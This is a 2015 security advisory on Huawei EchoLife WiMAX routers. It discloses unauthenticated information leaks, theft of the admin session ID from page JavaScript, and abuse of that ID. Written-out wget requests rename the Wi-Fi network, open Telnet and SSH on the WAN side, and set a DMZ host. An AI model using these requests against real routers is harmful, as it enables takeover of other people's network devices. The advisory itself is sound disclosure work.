## Advisory Information
Title: Huawei Wimax routers vulnerable to multiple threats
Advisory URL: https://pierrekim.github.io/advisories/2015-huawei-0x01.txt
Blog URL: https://pierrekim.github.io/blog/2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html
Date published: 2015-12-01
Vendors contacted: Huawei, CERT.org
Release mode: Released
CVE: no current CVE
CERT Tracking number: VU#406192
CNNVD: no current CNNVD
## Product Description
Huawei Technologies Co. Ltd. is a Chinese multinational networking
and telecommunications equipment and services company.
It is the largest telecommunications equipment manufacturer in the world.
## Vulnerabilities Summary
The Huawei BM626e device is a Wimax router / access point overall badly
designed with a lot of vulnerabilities. The device is provided by
MTN Cote d'Ivoire as a "Wibox". It's available in a number of countries to
provide Internet with a Wimax network.
The tests below are done using the last available firmware
(firmware V100R001CIVC24B010).
Note: This firmware is being used by other Huawei Wimax CPEs and
Huawei confirmed that the devices below are vulnerable to the same threats:
- EchoLife BM626e WiMAX CPE
- EchoLife BM626 WiMAX CPE
- EchoLife BM635 WiMAX CPE
- EchoLife BM632 WiMAX CPE
- EchoLife BM631a WiMAX CPE
- EchoLife BM632w WiMAX CPE
- EchoLife BM652 WiMAX CPE
The routers are still on sale and used in several countries. They are
used, at least, in these countries:
- MTN CI (Cote d'Ivoire)
- Iran Cell (Iran)
- Irak Telecom (Irak)
- Libyamax (Libya)
- Globe Telecom (Philippines)
- Zain Bahrain (Bahrain)
- FreshTel (Ukraine)
## Details - unauthenticated information disclosure
By default, the webpage http://192.168.1.1/check.html contains
important information
(wimax configuration, network configuration, wifi and sip
configuration ...) and is reachable without authentication.
A JavaScript redirection will annoy the attacker (/login.html) and can
be easily defeated by using wget:
root@...i:~# wget http://192.168.1.1/check.html; less check.html
## Details - Admin session cookie hijacking
If an admin is currently managing the device (OR used the device but
didn't properly disconnect),
the current/used session can be stolen by an attacker located in the
LAN (or WAN if the HTTP is open in the WAN interface).
The admin session id ("SID") can be recovered in multiple webpages
without authentication:
- http://192.168.1.1/wimax/security.html
- http://192.168.1.1/static/deviceinfo.html
- ...
The security.html webpage contains a valid session ID, without
authentication, within the JavaScript sources:
sid="SID24188"
A "protection" is written in JavaScript and will redirect the attacker
to the login webpage
but the Javascript contains the session of the admin (sid="SIDXXXXX")
so the attacker can retrieve it easily using wget:
root@...i:~# wget http://192.168.1.1/wimax/security.html ; less security.html
root@...i:~# wget http://192.168.1.1/static/deviceinfo.html ; less
deviceinfo.html
Note that, by visiting the webpages, the attacker will also disconnect
the administrator from the Control Panel (http://192.168.1.1/)
## Details - Information disclosure and CSRF using the stolen admin session ID
By using the previously stolen SID, it is possible to perform
administration tasks without having proper credentials:
- editing the WLAN configuration,
- editing the WAN configuation,
- editing the LAN configuration,
- opening HTTP/HTTPS/TELNET/SSH in the LAN and WAN interfaces,
- changing DMZ configurations,
- editing PortMapping,
- editing Porttrigger,
- editing SIP configuration,
- uploading a custom firmware,
- ...

o Retrieve private information:
An other JSX webpage:
http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&&t=0
root@...i:~# wget -qO-

stats={};do{stats.PPPoEStatus='Disconnected';
stats.GREStatus='Disconnected';stats.wpsmode="7";stats.position="Idle,Idle,"}while(0);
It's possible to get a lot of information by abusing JSX webpages.
Listing the JSX webpages is left as an exercise for the reader.
The Session ID can be used to change parameters in the Wimax router too:
o Editing the WLAN configuration:
This request will change the first SSID name to 'powned' (you need to
edit the WWW_SID, by the one provided in the /wimax/security.html
webpage):
root@...i:~# wget --no-cookies --header "Cookie:
LoginTimes=0:LoginOverTime=0; FirstMenu=User_1; SecondMenu=User_1_1;
ThirdMenu=User_1_1_1"
--post-data='WWW_SID=SID24188&REDIRECT=wlan.html&SERVICE=wifi&SLEEP=2&WLAN_WifiEnable=1&Wlan_chkbox=0&WLAN_WirelessMode=9&WLAN_Channel=0&WLAN_SSID1=powned&WLAN_HideSSID=0%3B0%3B&WLAN_AuthMode=WPAPSKWPA2PSK%3BWPAPSKWPA2PSK%3B&WLAN_EncrypType=TKIPAES%3BTKIPAES%3B&WLAN_COUNTRY_REGION=1&WLAN_Country_Code=1d&WLAN_TXPOWER_NOR=13&WLAN_MAXNUM_STA=16%3B16%3B&WLAN_FragThreshold=2346&WLAN_BeaconPeriod=100&WLAN_RTSThreshold=2347&WLAN_BssidNum=2&WLAN_WscConfMode=7&WLAN_WscAction=3&WLAN_CountryCode=CI&WLAN_WscPinCode=&WLAN_TXRATE=0&WLAN_HTBW=0&WLAN_NTH_SSID=1&WLAN_PinFlag=2'
http://192.168.1.1/basic/mtk.cgi
o Opening the management interface:
This request will open HTTP/HTTPS/TELNET/SSH in the LAN AND the WAN
interfaces (you need to edit the WWW_SID, by the one provided in the
/wimax/security.html webpage):
root@...i:~# wget --no-cookies --header "Cookie:
LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1;
ThirdMenu=User_2_1_0"
--post-data='WWW_SID=SID24188&REDIRECT=acl.html&SERVICE=mini_httpd%2Cmini_httpsd%2Ctelnetd%2Cdropbear&SLEEP=2&HTTPD_ENABLE=1&HTTPSD_ENABLE=1&MGMT_WEB_WAN=1&MGMT_TELNET_LAN=1&MGMT_TELNET_WAN=1&MGMT_SSH_LAN=1&MGMT_SSH_WAN=1&HTTPD_PORT=80&httpslan=getValue%28&HTTPSD_PORT=443&TELNETD_PORT=23&SSHD_PORT=22'
http://192.168.1.1/basic/mtk.cgi
(The legit administrator can check the changes here:
http://192.168.1.1/advanced/acl.html)
o Changing "DMZ action" - redirecting WAN ports to a target client
located in the LAN (you need to edit the WWW_SID, by the one provided
in the /wimax/security.html webpage):
root@...i:~# wget --no-cookies --header "Cookie:
LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1;
ThirdMenu=User_2_1_0"
--post-data='WWW_SID=SID24188&REDIRECT=dmz.html&SERVICE=netfilter_dmz&NETFILTER_DMZ_HOST=192.168.1.2&NETFILTER_DMZ_ENABLE=1&DMZInterface=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1&DMZHostIPAddress=192.168.1.2&DMZEnable=on&TriggerPort=&TriggerPortEnd='
http://192.168.1.1/advanced/user.cgi
(The legit administrator can check the changes here:
http://192.168.1.1/advanced/dmz.html)
Other actions are possible and are left as an exercise for the reader:
- Editing PortMapping
- Editing Porttrigger
- Editing Sip configuration
- Uploading a custom firmware
- ...
## Vendor Response
The vulnerable routers are in the End Of Service cycle and will not be
supported anymore.
The vendor encourages its clients to discard existing unsupported models
and to use new routers.
